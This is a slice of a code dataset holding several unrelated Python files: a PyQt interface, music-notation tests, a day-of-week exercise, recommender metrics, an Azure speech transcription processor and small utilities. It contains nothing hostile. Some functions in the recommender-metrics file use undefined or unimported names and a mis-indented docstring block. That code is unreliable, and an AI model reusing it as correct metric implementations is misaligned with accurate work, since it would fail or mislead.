sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.tagView.sizePolicy().hasHeightForWidth())\n self.tagView.setSizePolicy(sizePolicy)\n self.tagView.setObjectName('tagView')\n self._3.addWidget(self.tagView)\n self.horizontalLayout_4.addWidget(self.groupBox_3)\n self.gridLayout_4.addWidget(self.widget_4, 1, 0, 1, 1)\n pydosh.setCentralWidget(self.widget_6)\n self.label_14.setBuddy(self.descEdit)\n self.label_6.setBuddy(self.amountEdit)\n self.label_7.setBuddy(self.scrolltoEdit)\n self.retranslateUi(pydosh)\n QtCore.QMetaObject.connectSlotsByName(pydosh)\n\n def retranslateUi(self, pydosh):\n pydosh.setWindowTitle(QtGui.QApplication.translate('pydosh', 'pydosh', None, QtGui.QApplication.UnicodeUTF8))\n self.groupBox_2.setTitle(QtGui.QApplication.translate('pydosh', 'date', None, QtGui.QApplication.UnicodeUTF8))\n self.label.setText(QtGui.QApplication.translate('pydosh', 'end', None, QtGui.QApplication.UnicodeUTF8))\n self.endDateEdit.setToolTip(QtGui.QApplication.translate('pydosh', '<html><head/><body><p>Set the end date filter</p></body></html>', None, QtGui.QApplication.UnicodeUTF8))\n self.label_2.setText(QtGui.QApplication.translate('pydosh', 'start', None, QtGui.QApplication.UnicodeUTF8))\n self.startDateEdit.setToolTip(QtGui.QApplication.translate('pydosh', '<html><head/><body><p>Set the start date filter</p></body></html>', None, QtGui.QApplication.UnicodeUTF8))\n self.dateCombo.setToolTip(QtGui.QApplication.translate('pydosh', '<html><head/><body><p>Select a date filter</p></body></html>', None, QtGui.QApplication.UnicodeUTF8))\n self.groupBox.setTitle(QtGui.QApplication.translate('pydosh', 'filter', None, QtGui.QApplication.UnicodeUTF8))\n self.label_14.setText(QtGui.QApplication.translate('pydosh', '&description', None, QtGui.QApplication.UnicodeUTF8))\n self.label_6.setText(QtGui.QApplication.translate('pydosh', '&amount', None, QtGui.QApplication.UnicodeUTF8))\n self.descEdit.setToolTip(QtGui.QApplication.translate('pydosh', '<html><head/><body><p>filter on description (Alt-d)</p></body></html>', None, QtGui.QApplication.UnicodeUTF8))\n self.inoutCombo.setToolTip(QtGui.QApplication.translate('pydosh', '<html><head/><body><p>filter on money in or out</p></body></html>', None, QtGui.QApplication.UnicodeUTF8))\n self.label_13.setText(QtGui.QApplication.translate('pydosh', 'in/out', None, QtGui.QApplication.UnicodeUTF8))\n self.accountCombo.setToolTip(QtGui.QApplication.translate('pydosh', '<html><head/><body><p>filter on account type</p></body></html>', None, QtGui.QApplication.UnicodeUTF8))\n self.label_4.setText(QtGui.QApplication.translate('pydosh', 'account', None, QtGui.QApplication.UnicodeUTF8))\n self.label_15.setText(QtGui.QApplication.translate('pydosh', 'tags', None, QtGui.QApplication.UnicodeUTF8))\n self.tagsCombo.setToolTip(QtGui.QApplication.translate('pydosh', 'filter on checked status', None, QtGui.QApplication.UnicodeUTF8))\n self.checkedCombo.setToolTip(QtGui.QApplication.translate('pydosh', 'filter on checked status', None, QtGui.QApplication.UnicodeUTF8))\n self.label_3.setText(QtGui.QApplication.translate('pydosh', 'checked', None, QtGui.QApplication.UnicodeUTF8))\n self.amountEdit.setToolTip(QtGui.QApplication.translate('pydosh', '<html><head/><body><p>filter by amount (Alt-a)</p><p>Accepts operators = > >= < <=</p></body></html>', None, QtGui.QApplication.UnicodeUTF8))\n self.groupBox_4.setTitle(QtGui.QApplication.translate('pydosh', 'Records', None, QtGui.QApplication.UnicodeUTF8))\n self.toggleCheckButton.setToolTip(QtGui.QApplication.translate('pydosh', '<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\\n<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\\np, li { white-space: pre-wrap; }\\n</style></head><body style=\" font-family:\\'Ubuntu\\'; font-size:11pt; font-weight:400; font-style:normal;\">\\n<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-family:\\'Arial\\'; font-size:10pt;\">toggle checked</span></p></body></html>', None, QtGui.QApplication.UnicodeUTF8))\n self.toggleCheckButton.setText(QtGui.QApplication.translate('pydosh', '&t', None, QtGui.QApplication.UnicodeUTF8))\n self.reloadButton.setToolTip(QtGui.QApplication.translate('pydosh', 'reload data (Alt-r)', None, QtGui.QApplication.UnicodeUTF8))\n self.reloadButton.setText(QtGui.QApplication.translate('pydosh', '&r', None, QtGui.QApplication.UnicodeUTF8))\n self.deleteButton.setToolTip(QtGui.QApplication.translate('pydosh', '<html><head/><body><p>delete record(s)</p></body></html>', None, QtGui.QApplication.UnicodeUTF8))\n self.deleteButton.setText(QtGui.QApplication.translate('pydosh', '&r', None, QtGui.QApplication.UnicodeUTF8))\n self.label_7.setText(QtGui.QApplication.translate('pydosh', '&find', None, QtGui.QApplication.UnicodeUTF8))\n self.scrolltoEdit.setToolTip(QtGui.QApplication.translate('pydosh', '<html><head/><body><p>find records matching description </p></body></html>', None, QtGui.QApplication.UnicodeUTF8))\n self.connectionStatusText.setText(QtGui.QApplication.translate('pydosh', 'TextLabel', None, QtGui.QApplication.UnicodeUTF8))\n self.label_10.setText(QtGui.QApplication.translate('pydosh', 'in:', None, QtGui.QApplication.UnicodeUTF8))\n self.inTotalLabel.setToolTip(QtGui.QApplication.translate('pydosh', 'total incoming for filtered records', None, QtGui.QApplication.UnicodeUTF8))\n self.inTotalLabel.setText(QtGui.QApplication.translate('pydosh', 'TextLabel', None, QtGui.QApplication.UnicodeUTF8))\n self.label_11.setText(QtGui.QApplication.translate('pydosh', 'out:', None, QtGui.QApplication.UnicodeUTF8))\n self.outTotalLabel.setToolTip(QtGui.QApplication.translate('pydosh', 'total outgoing for filtered records', None, QtGui.QApplication.UnicodeUTF8))\n self.outTotalLabel.setText(QtGui.QApplication.translate('pydosh', 'TextLabel', None, QtGui.QApplication.UnicodeUTF8))\n self.label_12.setText(QtGui.QApplication.translate('pydosh', 'showing:', None, QtGui.QApplication.UnicodeUTF8))\n self.recordCountLabel.setToolTip(QtGui.QApplication.translate('pydosh', 'filtered records / total records', None, QtGui.QApplication.UnicodeUTF8))\n self.recordCountLabel.setText(QtGui.QApplication.translate('pydosh', 'TextLabel', None, QtGui.QApplication.UnicodeUTF8))\n self.groupBox_3.setTitle(QtGui.QApplication.translate('pydosh', 'Tags', None, QtGui.QApplication.UnicodeUTF8))\n self.addTagButton.setText(QtGui.QApplication.translate('pydosh', '...', None, QtGui.QApplication.UnicodeUTF8))\n self.removeTagButton.setText(QtGui.QApplication.translate('pydosh', '...', None, QtGui.QApplication.UnicodeUTF8))\n return\n\n\nfrom searchlineedit import SearchLineEdit\nfrom multicombobox import MultiComboBox\nfrom views import TagTableView\nimport pydosh_rc","sub_path":"pycfiles/pydot-1.4.1-py2.py3-none-any/ui_pydosh.py","file_name":"ui_pydosh.py","file_ext":"py","file_size_in_byte":22855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"531110665","text":"# -*- encoding: utf-8 -*-\nfrom abjad.tools import instrumenttools\nfrom experimental import *\n\n\ndef test_InstrumentCreationWizard_run_01():\n\n wizard = scoremanagertools.wizards.InstrumentCreationWizard()\n wizard._run(pending_user_input='violin')\n assert wizard.target == instrumenttools.Violin()\n\n\ndef test_InstrumentCreationWizard_run_02():\n\n wizard = scoremanagertools.wizards.InstrumentCreationWizard()\n wizard._run(pending_user_input='untuned vibraslap')\n vibraslap = instrumenttools.UntunedPercussion(\n instrument_name='vibraslap',\n short_instrument_name='vibraslap')\n assert wizard.target == vibraslap\n\n\ndef test_InstrumentCreationWizard_run_03():\n\n wizard = scoremanagertools.wizards.InstrumentCreationWizard(is_ranged=True)\n wizard._run(pending_user_input='violin, viola')\n instruments = [instrumenttools.Violin(), instrumenttools.Viola()]\n assert wizard.target == instruments\n\n\ndef test_InstrumentCreationWizard_run_04():\n\n wizard = scoremanagertools.wizards.InstrumentCreationWizard(is_ranged=True)\n wizard._run(pending_user_input='violin, viola, untuned vibraslap')\n instruments = [\n instrumenttools.Violin(),\n instrumenttools.Viola(),\n instrumenttools.UntunedPercussion(\n instrument_name='vibraslap',\n short_instrument_name='vibraslap'),\n ]\n assert wizard.target == instruments\n","sub_path":"abjad/experimental/tools/scoremanagertools/wizards/InstrumentCreationWizard/test/test_InstrumentCreationWizard_run.py","file_name":"test_InstrumentCreationWizard_run.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"73189129","text":"# A function that accepts a string which contains a particular \n# date from the Gregorian calendar. Your function should return \n# what day of the week it was. Here are a few examples of what \n# the input string(Month Day Year) will look like. However, you \n# should not 'hardcode' your program to work only for these input!\n\n# \"June 12 2012\"\n# \"September 3 1955\"\n# \"August 4 1843\" \n\n# Note that each item (Month Day Year) is separated by one space. \n# For example if the input string is:\n# \"May 5 1992\"\n# Then your function should return the day of the week (string) such as:\n# \"Tuesday\"\n\n# Algorithm with sample example:\n# # Assume that input was \"May 5 1992\"\n# day (d) = 5 # It is the 5th day\n# month (m) = 3 # (*** Count starts at March i.e March = 1, April = 2, ... January = 11, February = 12)\n# century (c) = 19 # the first two characters of the century\n# year (y) = 92 # Year is 1992 (*** if month is January or february decrease one year)\n# # Formula and calculation\n# day of the week (w) = (d + floor(2.6m - 0.2) - 2c + y + floor(y/4) + floor(c/4)) modulo 7\n# after calculation we get, (w) = 2\n# Count for the day of the week starts at Sunday, i.e Sunday = 0, Monday = 1, Tuesday = 2, ... Saturday = 6\n# Since we got 2, May 5 1992 was a Tuesday\n\n################### MY FUNCTIION ###################\ndef Day_of_the_Week(date_string):\n \n import math\n \n month_dict = {'March':1, 'April':2, 'May':3, 'June':4, 'July':5, 'August':6, 'September':7, 'October':8, 'November':9, 'December':10, 'January':11, 'February':12}\n week_dict = {0:'Sunday', 1:'Monday', 2:'Tuesday', 3:'Wednesday', 4:'Thursday', 5:'Friday', 6:'Saturday'}\n\n date_list = date_string.split()\n for index in range(len(date_list)):\n if index == 0:\n month = month_dict[date_list[index]]\n elif index == 1:\n day = int(date_list[index])\n else:\n century = date_list[index]\n century = int(century[0:2])\n year = date_list[index]\n year = int(year[2:])\n if month == 11 or month == 12:\n year = year - 1 \n\n w = (day + math.floor(2.6*month - 0.2) - 2*century + year + math.floor(year/4) + math.floor(century/4)) % 7\n\n return week_dict[w]\n\n# driver code\nyour_string = input(\"Please enter your date string : \")\nresult = Day_of_the_Week(your_string)\nprint(result)\n\n################### Sample Solution ###################\ndef _day_of_the_week_sample_(string):\n import math\n my_month, day, year = string.split(\" \")\n months = {\"March\": 1,\n \"April\": 2,\n \"May\": 3,\n \"June\": 4,\n \"July\": 5,\n \"August\": 6,\n \"September\": 7,\n \"October\": 8,\n \"November\": 9,\n \"December\": 10,\n \"January\": 11,\n \"February\": 12}\n weeks = {\"Sunday\": 0,\n \"Monday\": 1,\n \"Tuesday\": 2,\n \"Wednesday\": 3,\n \"Thursday\": 4,\n \"Friday\": 5,\n \"Saturday\": 6}\n # Get the appropriate month as an int using a dictionary\n month = months[my_month]\n day = int(day)\n # The first two characters of the year\n century = int(year[0] + year[1])\n # The last two characters of the year\n year = int(year[2] + year[3])\n # If month > 10 (i.e january or february then substract one year)\n if month > 10:\n year = year - 1\n # Calculation\n w = (day + math.floor(2.6*month - 0.2) -2*century + year + math.floor(year/4) + math.floor(century/4))%7\n for day in weeks:\n if weeks[day] == w:\n return day","sub_path":"13 - Week 7/03 Dictionaries/12 Dictionary Exercise 9 (Day of the Week).py","file_name":"12 Dictionary Exercise 9 (Day of the Week).py","file_ext":"py","file_size_in_byte":3632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"359726476","text":"import numpy as np\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import mean_absolute_error\nfrom sklearn import metrics\nfrom sklearn.preprocessing import label_binarize\n\n\n####### PREDICTION ACCURACY #######\n\n#MAE\ndef calculate_mae(y_actual, y_predicted):\n return mean_absolute_error(y_true, y_pred)\n\n#MSE\ndef calculate_mse(y_actual, y_predicted):\n \"\"\"\n Determines the Root Mean Square Error of the predictions.\n Args:\n y_actual: actual ratings in the format of an array of [ (userId, itemId, actualRating) ]\n y_predicted: predicted ratings in the format of an array of [ (userId, itemId, predictedRating) ]\n Assumptions:\n y_actual and y_predicted are in the same order.\n \"\"\"\n return mean_squared_error(y_actual, y_predicted)\n\n#RMSE\ndef calculate_rmse(y_actual, y_predicted):\n \"\"\"\n Determines the Root Mean Square Error of the predictions.\n Args:\n y_actual: actual ratings in the format of an array of [ (userId, itemId, actualRating) ]\n y_predicted: predicted ratings in the format of an array of [ (userId, itemId, predictedRating) ]\n Assumptions:\n y_actual and y_predicted are in the same order.\n \"\"\"\n return sqrt(mean_squared_error(y_actual, y_predicted))\n\n\n###### PRECISION OF RECOMMENDATION ######\n\n#Precision, Recall, fscore\ndef calculate_prf(y_true, y_pred):\n y_true = set(y_true)\n y_pred = set(y_pred)\n cross_size = len(y_true & y_pred)\n if cross_size == 0: return 0,0,0.\n p = 1. * cross_size / len(y_pred)\n r = 1. * cross_size / len(y_true)\n f1= 2 * p * r / (p + r)\n return p,r,f1\n\n#AUC\ndef auc_score(predictions, test):\n '''\n This simple function will output the area under the curve using sklearn's metrics.\n\n parameters:\n\n - predictions: your prediction output\n\n - test: the actual target result you are comparing to\n\n returns:\n\n - AUC (area under the Receiver Operating Characterisic curve)\n '''\n test=label_binarize(test, classes=range(49688))\n predictions=label_binarize(predictions, classes=range(49688))\n\n # Compute ROC curve and ROC area for each class\n fpr = dict()\n tpr = dict()\n roc_auc = dict()\n for i in range(49688):\n fpr[i], tpr[i], _ = metrics.roc_curve(test[:, i], predictions[:, i])\n roc_auc[i] = metrics.auc(fpr[i], tpr[i])\n\n # Compute micro-average ROC curve and ROC area\n fpr[\"micro\"], tpr[\"micro\"], _ = roc_curve(test.ravel(), predictions.ravel())\n roc_auc[\"micro\"] = auc(fpr[\"micro\"], tpr[\"micro\"])\n\n return roc_auc[\"micro\"]\n\n###### RANKING PRECISION #####\n\n#Mean Average Precision (MAP)\ndef apk(y_true, y_pred, k=10):\n if len(y_pred) > k:\n y_pred = y_pred[:k]\n score: int = 0\n num_hits = 0\n\n for i, p in enumerate(y_pred):\n if p in y_true and p not in y_pred[:i]:\n num_hits += 1.0\n score += num_hits / (i + 1.0)\n return score / (min(len(y_true), k))\n\n#DCG\ndef dcg_score(y_true, y_score, k=10, gain='exponential'):\n order = np.argsort(y_score)[::-1]\n y_true = np.take(y_true, order[:k])\n\n if gain == \"exponential\":\n gain = 2 ** y_true - 1\n elif gain == \"linear\":\n gain = y_true\n else:\n raise ValueError(\"Invalid gains option.\")\n\n # highest rank is 1 so +2 instead of +1\n discounts = np.log2(np.arange(len(y_true)) + 2)\n return np.sum(gain / discounts)\n\n#### USER EXPERIENECES ###\n\n#Coverage\ndef calculate_catalog_coverage(y_test, y_train, y_predicted):\n \"\"\"\n Calculates the percentage of user-item pairs that were predicted by the algorithm.\n The full data is passed in as y_test and y_train to determine the total number of potential user-item pairs\n Then the predicted data is passed in to determine how many user-item pairs were predicted.\n It is very important to NOT pass in the sorted and cut prediction RDD and that the algorithm trys to predict all pairs\n The use the function 'cartesian' as shown in line 25 of content_based.py is helpful in that regard\n Args:\n y_test: the data used to test the RecSys algorithm in the format of an RDD of [ (userId, itemId, actualRating) ]\n y_train: the data used to train the RecSys algorithm in the format of an RDD of [ (userId, itemId, actualRating) ]\n y_predicted: predicted ratings in the format of a RDD of [ (userId, itemId, predictedRating) ]. It is important that this is not the sorted and cut prediction RDD\n Returns:\n catalog_coverage: value representing the percentage of user-item pairs that were able to be predicted\n \"\"\"\n\n y_full_data = y_test.union(y_train)\n\n prediction_count = y_predicted.count()\n #obtain the number of potential users and items from the actual array as the algorithms cannot predict something that was not trained\n num_users = y_full_data.map(lambda row: row[0]).distinct().count()\n num_items = y_full_data.map(lambda row: row[1]).distinct().count()\n potential_predict = num_users*num_items\n catalog_coverage = prediction_count/float(potential_predict)*100\n\n return catalog_coverage\n\n#Diversity\n\n\n#Serendipity\n\n\n \"\"\"\n def calculate_serendipity(y_train, y_test, y_predicted, sqlCtx, rel_filter=1):\n Calculates the serendipity of the recommendations.\n This measure of serendipity in particular is how surprising relevant recommendations are to a user\n serendipity = 1/N sum( max(Pr(s)- Pr(S), 0) * isrel(s)) over all items\n The central portion of this equation is the difference of probability that an item is rated for a user\n and the probability that item would be recommended for any user.\n The first ranked item has a probability 1, and last ranked item is zero. prob_by_rank(rank, n) calculates this\n Relevance is defined by the items in the hold out set (y_test).\n If an item was rated it is relevant, which WILL miss relevant non-rated items.\n Higher values are better\n Method derived from the Coursera course: Recommender Systems taught by Prof Joseph Konstan (Universitu of Minesota)\n and Prof Michael Ekstrand (Texas State University)\n Args:\n y_train: actual training ratings in the format of an array of [ (userId, itemId, actualRating) ].\n y_test: actual testing ratings to test in the format of an array of [ (userId, itemId, actualRating) ].\n y_predicted: predicted ratings in the format of a RDD of [ (userId, itemId, predictedRating) ].\n It is important that this is not the sorted and cut prediction RDD\n rel_filter: the threshold of item relevance. So for MovieLens this may be 3.5, LastFM 0.\n Ratings/interactions have to be at or above this mark to be considered relevant\n Returns:\n average_overall_serendipity: the average amount of surprise over all users\n average_serendipity: the average user's amount of surprise over their recommended items\n \n\n full_corpus = y_train.union(y_test).map(lambda (u,i,r): (u,i,float(r)))\n\n fields = [StructField(\"user\", LongType(),True),StructField(\"item\", LongType(), True),\\\n StructField(\"rating\", FloatType(), True) ]\n schema = StructType(fields)\n schema_rate = sqlCtx.createDataFrame(full_corpus, schema)\n schema_rate.registerTempTable(\"ratings\")\n\n item_ranking = sqlCtx.sql(\"select item, avg(rating) as avg_rate, row_number() over(ORDER BY avg(rating) desc) as rank \\\n from ratings group by item order by avg_rate desc\")\n\n n = item_ranking.count()\n #determine the probability for each item in the corpus\n item_ranking_with_prob = item_ranking.map(lambda (item_id, avg_rate, rank): (item_id, avg_rate, rank, prob_by_rank(rank, n)))\n\n #format the 'relevant' predictions as a queriable table\n #these are those predictions for which we have ratings above the threshold\n y_test = y_test.filter(lambda (u,i,r): r>=rel_filter).map(lambda (u,i,r): (u,i,float(r)))\n\n predictionsAndRatings = y_predicted.map(lambda x: ((x[0], x[1]), x[2])) \\\n .join(y_test.map(lambda x: ((x[0], x[1]), x[2])))\n temp = predictionsAndRatings.map(lambda (a,b): (a[0], a[1], b[1], b[1]))\n fields = [StructField(\"user\", LongType(),True),StructField(\"item\", LongType(), True),\\\n StructField(\"prediction\", FloatType(), True), StructField(\"actual\", FloatType(), True) ]\n schema = StructType(fields)\n schema_preds = sqlCtx.createDataFrame(temp, schema)\n schema_preds.registerTempTable(\"preds\")\n\n #determine the ranking of predictions by each user\n user_ranking = sqlCtx.sql(\"select user, item, prediction, row_number() \\\n over(Partition by user ORDER BY prediction desc) as rank \\\n from preds order by user, prediction desc\")\n user_ranking.registerTempTable(\"user_rankings\")\n\n #find the number of predicted items by user\n user_counts = sqlCtx.sql(\"select user, count(item) as num_found from preds group by user\")\n user_counts.registerTempTable(\"user_counts\")\n\n #use the number of predicted items and item rank to determine the probability an item is predicted\n user_info = sqlCtx.sql(\"select r.user, item, prediction, rank, num_found from user_rankings as r, user_counts as c\\\n where r.user=c.user\")\n user_ranking_with_prob = user_info.map(lambda (user, item, pred, rank, num): \\\n (user, item, rank, num, prob_by_rank(rank, num)))\n\n #now combine the two to determine (user, item_prob_diff) by item\n data = user_ranking_with_prob.keyBy(lambda p: p[1])\\\n .join(item_ranking_with_prob.keyBy(lambda p:p[0]))\\\n .map(lambda (item, (a,b)): (a[0], max(a[4]-b[3],0)))\\\n\n #combine the item_prob_diff by user and average to get the average serendiptiy by user\n sumCount = data.combineByKey(lambda value: (value, 1),\n lambda x, value: (x[0] + value, x[1] + 1),\n lambda x, y: (x[0] + y[0], x[1] + y[1]))\n serendipityByUser = sumCount.map(lambda (label, (value_sum, count)): (label, value_sum / float(count)))\n\n num = float(serendipityByUser.count())\n average_serendipity = serendipityByUser.map(lambda (user, serendipity):serendipity).reduce(add)/num\n\n #alternatively we could average not by user first, so heavier users will be more influential\n #for now we shall return both\n average_overall_serendipity = data.map (lambda (user, serendipity): serendipity).reduce(add)/float(data.count())\n return (average_overall_serendipity, average_serendipity)\"\"\"\n\n\n#Novelty\n\"\"\"calculate_novelty(y_train, y_test, y_predicted, sqlCtx)\n \n Novelty measures how new or unknown recommendations are to a user\n An individual item's novelty can be calculated as the log of the popularity of the item\n A user's overal novelty is then the sum of the novelty of all items\n Method derived from 'Auraslist: Introducing Serendipity into Music Recommendation' by Y Zhang, D Seaghdha, D Quercia, and T Jambor\n Args:\n y_train: actual training ratings in the format of an array of [ (userId, itemId, actualRating) ].\n y_test: actual testing ratings to test in the format of an array of [ (userId, itemId, actualRating) ].\n y_train and y_test are necessary to determine the overall item ranking\n y_predicted: predicted ratings in the format of a RDD of [ (userId, itemId, predictedRating) ].\n It is important that this IS the sorted and cut prediction RDD\n Returns:\n avg_overall_novelty: the average amount of novelty over all users\n avg_novelty: the average user's amount of novelty over their recommended items\n \n\n full_corpus = y_train.union(y_test).map(lambda (u,i,r): (u,i,float(r)))\n\n fields = [StructField(\"user\", LongType(),True),StructField(\"item\", LongType(), True),\\\n StructField(\"rating\", FloatType(), True) ]\n schema = StructType(fields)\n schema_rate = sqlCtx.createDataFrame(full_corpus, schema)\n schema_rate.registerTempTable(\"ratings\")\n\n item_ranking = sqlCtx.sql(\"select item, avg(rating) as avg_rate, row_number() over(ORDER BY avg(rating) desc) as rank \\\n from ratings group by item order by avg_rate desc\")\n\n n = item_ranking.count()\n item_ranking_with_nov = item_ranking.map(lambda (item_id, avg_rate, rank): (item_id, (avg_rate, rank, log(max(prob_by_rank(rank, n), 1e-100), 2))))\n\n user_novelty = y_predicted.keyBy(lambda (u, i, p): i).join(item_ranking_with_nov).map(lambda (i,((u_p),(pop))): (u_p[0], pop[2]))\\\n .groupBy(lambda (user, pop): user).map(lambda (user, user_item_probs):(np.mean(list(user_item_probs), axis=0)[1])).collect()\n\n all_novelty = y_predicted.keyBy(lambda (u, i, p): i).join(item_ranking_with_nov).map(lambda (i,((u_p),(pop))): (pop[2])).collect()\n avg_overall_novelty = float(np.mean(all_novelty))\n\n avg_novelty = float(np.mean(user_novelty))\n\n return (avg_overall_novelty, avg_novelty) \"\"\"\n\n\n\n\n\n","sub_path":"Jupyter_Notebooks/Evrecsys.py","file_name":"Evrecsys.py","file_ext":"py","file_size_in_byte":12838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"533160802","text":"#############################################################################\n# NOTICE #\n# #\n# This software (or technical data) was produced for the U.S. Government #\n# under contract, and is subject to the Rights in Data-General Clause #\n# 52.227-14, Alt. IV (DEC 2007). #\n# #\n# Copyright 2020 The MITRE Corporation. All Rights Reserved. #\n#############################################################################\n\n#############################################################################\n# Copyright 2020 The MITRE Corporation #\n# #\n# Licensed under the Apache License, Version 2.0 (the \"License\"); #\n# you may not use this file except in compliance with the License. #\n# You may obtain a copy of the License at #\n# #\n# http://www.apache.org/licenses/LICENSE-2.0 #\n# #\n# Unless required by applicable law or agreed to in writing, software #\n# distributed under the License is distributed on an \"AS IS\" BASIS, #\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. #\n# See the License for the specific language governing permissions and #\n# limitations under the License. #\n#############################################################################\n\nimport os\n\nimport mpf_component_api as mpf\n\nfrom .azure_connect import AzureConnection\n\nclass AcsSpeechDetectionProcessor(object):\n\n def __init__(self, logger):\n self.logger = logger\n self.acs = AzureConnection(logger)\n\n\n def update_acs(self, acs_url, acs_subscription_key,\n acs_blob_container_url, acs_blob_service_key):\n if (self.acs.url != acs_url or\n self.acs.subscription_key != acs_subscription_key or\n self.acs.blob_container_url != acs_blob_container_url or\n self.acs.blob_service_key != acs_blob_service_key):\n self.logger.debug('Updating ACS connection')\n self.acs.update_acs(\n url=acs_url,\n subscription_key=acs_subscription_key,\n blob_container_url=acs_blob_container_url,\n blob_service_key=acs_blob_service_key\n )\n else:\n self.logger.debug('ACS arguments unchanged')\n\n\n def process_audio(self, target_file, start_time, stop_time, job_name,\n acs_url, acs_subscription_key, acs_blob_container_url,\n acs_blob_service_key, lang, diarize, cleanup,\n blob_access_time):\n self.update_acs(\n acs_url=acs_url,\n acs_subscription_key=acs_subscription_key,\n acs_blob_container_url=acs_blob_container_url,\n acs_blob_service_key=acs_blob_service_key\n )\n\n try:\n self.logger.info('Uploading file to blob')\n recording_id = os.path.split(target_file)[-1]\n recording_url = self.acs.upload_file_to_blob(\n filepath=target_file,\n recording_id=recording_id,\n blob_access_time=blob_access_time,\n start_time=start_time,\n stop_time=stop_time\n )\n except Exception as e:\n raise mpf.DetectionException(\n 'Failed to upload file to blob: {:s}'.format(e),\n mpf.DetectionError.DETECTION_FAILED\n )\n\n try:\n self.logger.info('Submitting speech-to-text job to ACS')\n output_loc = self.acs.submit_batch_transcription(\n recording_url=recording_url,\n job_name=job_name,\n diarize=diarize,\n language=lang,\n )\n except:\n if cleanup:\n self.logger.info('Marking file blob for deletion')\n self.acs.delete_blob(recording_id)\n raise\n\n try:\n self.logger.info('Retrieving transcription')\n result = self.acs.poll_for_result(output_loc)\n\n if result['status'] == 'Failed':\n raise mpf.DetectionException(\n 'Transcription failed: {}'.format(result['statusMessage']),\n mpf.DetectionError.DETECTION_FAILED\n )\n\n transcription = self.acs.get_transcription(result)\n self.logger.info('Speech-to-text processing complete')\n finally:\n if cleanup:\n self.logger.info('Marking file blob for deletion')\n self.acs.delete_blob(recording_id)\n self.logger.info('Deleting transcript')\n self.acs.delete_transcription(output_loc)\n\n self.logger.info('Completed process audio')\n self.logger.info('Creating AudioTracks')\n audio_tracks = []\n for utt in transcription['AudioFileResults'][0]['SegmentResults']:\n speaker_id = utt['SpeakerId'] if diarize else '0'\n display = utt['NBest'][0]['Display']\n\n # Confidence information. Utterance confidence does not seem\n # to be a simple aggregate of word confidences.\n utterance_confidence = utt['NBest'][0]['Confidence']\n word_confidences = ', '.join([\n str(w['Confidence'])\n for w in utt['NBest'][0]['Words']\n ])\n\n # Timing information. Azure works in 100-nanosecond units,\n # so divide by 1e4 to obtain milliseconds.\n utterance_start = utt['Offset'] / 10000.0\n utterance_stop = (utt['Offset'] + utt['Duration']) / 10000.0\n word_segments = ', '.join([\n str(w['Offset'] / 10000.0) + '-' + str((w['Offset']+w['Duration']) / 10000.0)\n for w in utt['NBest'][0]['Words']\n ])\n\n properties = dict(\n SPEAKER_ID=speaker_id,\n TRANSCRIPT=display,\n WORD_CONFIDENCES=word_confidences,\n WORD_SEGMENTS=word_segments,\n DECODED_LANGUAGE=lang,\n )\n track = mpf.AudioTrack(\n start_time=utterance_start,\n stop_time=utterance_stop,\n confidence=utterance_confidence,\n detection_properties=properties\n )\n audio_tracks.append(track)\n\n self.logger.info('Completed processing transcription results')\n return audio_tracks\n","sub_path":"python/AzureSpeechDetection/acs_speech_component/acs_speech_processor.py","file_name":"acs_speech_processor.py","file_ext":"py","file_size_in_byte":6950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"352912765","text":"# -*- coding: utf-8 -*-\nfrom alidayu import AlibabaAliqinFcSmsNumSendRequest\nimport json\n\n# 其中appkey和secret是必须的参数\n# url可选,默认为沙箱的URL,正式应用请传入 https://eco.taobao.com/router/rest\n# partner_id为可选,其值为下载的TOP SDK中的top/api/base.py里的SYSTEM_GENERATE_VERSION\n\nappkey = ''\nsecret = ''\nurl = 'https://eco.taobao.com/router/rest'\npartner_id = '' #可选\n#短信内容参数\nparams = {\n 'a' : '1',\n 'b' : '2'\n}\n\nreq = AlibabaAliqinFcSmsNumSendRequest(appkey, secret, url, partner_id)\nreq.extend = \"123456\"\nreq.sms_type = \"normal\"\nreq.sms_free_sign_name = \"注册验证\"\nreq.sms_param = json.dumps(params,ensure_ascii=False)\nreq.rec_num = \"13000000000\"\nreq.sms_template_code = \"SMS_5410290\"\ntry:\n resp = req.getResponse()\n print(resp)\nexcept Exception as e:\n print(e)","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"303591391","text":"def tail(file, n):\n with open(file, 'r') as f:\n # reading the file in a list\n content = f.read().splitlines()\n # getting the last n elements of the list\n last = content[len(content)-n:]\n # print(last)\n # concateneting the list back into a string\n my_str = '\\n'.join(last)\n return my_str\n\n\n#t = tail('sample_file.txt', 3)\n#print(t)\n\nnew = tail('configuration.txt', 2)\nprint(new)","sub_path":"working-with-text-file-script2.py","file_name":"working-with-text-file-script2.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"495622509","text":"'''Supports the reading and writing of files for the DimensionCollector.\n'''\nfrom builtins import next, object\nfrom util.file.unicode_csv import UnicodeDictReader, UnicodeDictWriter\n\n\ndef add_prefix(prefix, text):\n return '%s%s' % (prefix, text)\n\n\nclass DimensionCollectorReader(object):\n '''Reads through a file outputted by a DimensionCollector.\n '''\n\n def __init__(self, open_file, prefix, dimensions, is_dimension_collector_source):\n self.prefix = prefix\n self.dimensions = dimensions\n self.reader = UnicodeDictReader(open_file)\n self.extraction_map = (\n self.build_extraction_map() if is_dimension_collector_source else None\n 